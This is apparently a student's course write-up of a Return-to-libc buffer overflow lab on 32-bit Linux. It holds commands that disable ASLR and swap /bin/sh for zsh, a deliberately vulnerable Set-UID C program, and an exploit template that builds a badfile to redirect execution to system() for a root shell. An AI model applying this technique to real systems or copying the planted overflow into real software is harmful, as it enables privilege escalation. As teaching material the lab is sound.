（2023-2024-1）20232826《Linux内核原理分析与设计》第十三周作业

20232826王朝昆 2023-12-13 15:24:37

Return-to-libc攻击实验

1、实验描述：

缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址，使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击，一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话，一旦程序执行存放在栈中的 shellcode 就会崩溃，从而阻止了攻击。不幸的是上面的保护方式并不是完全有效的，现在存在一种缓冲区溢出的变体攻击，叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行，甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码（比如已经载入内存的 libc 库中的 system（）函数等）来实现我们的攻击。

2、实验准备：

系统用户名： shiyanlou

实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。

2.1 输入命令安装一些用于编译 32 位 C 程序的软件包

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386 #这个过程耗时有点长，请等待一会

sudo apt-get install lib32readline-gplv2-dev

2.2 输入命令 linux32 进入 32 位 linux 环境，输入 /bin/bash 使用 bash：

3、实验步骤：

3.1 实验设置

Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多 shell 程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在/bin/bash 中实现。

linux 系统中，/bin/sh 实际是指向/bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

为了防止缓冲区溢出攻击，最近版本的 gcc 编译器默认将程序编译设置为栈不可执行，而你可以在编译的时候手动设置是否使栈不可执行：

gcc -z execstack -o test test.c    #栈可执行

gcc -z noexecstack -o test test.c  #栈不可执行

本次实验的目的，就是展示这个“栈不可执行”的保护措施并不是完全有效，所以我们使用-z noexecstack，或者不手动指定而使用编译器的默认设置。

3.2 漏洞程序

在 /home/shiyanlou 目录下新建 retlib.c 文件

cd /home/shiyanlou
vi retlib.c

/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
}
int main(int argc, char **argv)
{
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}

编译该程序，并设置 SET-UID。命令如下：

sudo su

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

chmod u+s retlib

exit

或者也可以 gcc -m32 -g -fno-stack-protector -o retlib retlib.c，默认使用“栈不可执行”保护。

GCC 编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

上述程序有一个缓冲区溢出漏洞，它先从一个叫 badfile 的文件里把 40 字节的数据读取到 12 字节的 buffer，引起溢出。fread() 函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序，如果一个普通用户利用了此缓冲区溢出漏洞，他有可能获得 root shell。应该注意到此程序是从一个叫做badﬁle的文件获得输入的，这个文件受用户控制。现在我们的目标是为 badﬁle 创建内容，这样当这段漏洞程序将此内容复制进它的缓冲区，便产生了一个 root shell 。

我们还需要用到一个读取环境变量的程序，在 /home/shiyanlou 目录下新建 getenvaddr.c 文件，文件内容如下：

/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[])
{
    char *ptr;

    if (argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}

编译： gcc -m32 -o getenvaddr getenvaddr.c

3.3 攻击程序

在 /home/shiyanlou 目录下新建 exploit.c 文件，内容如下：

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
  
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}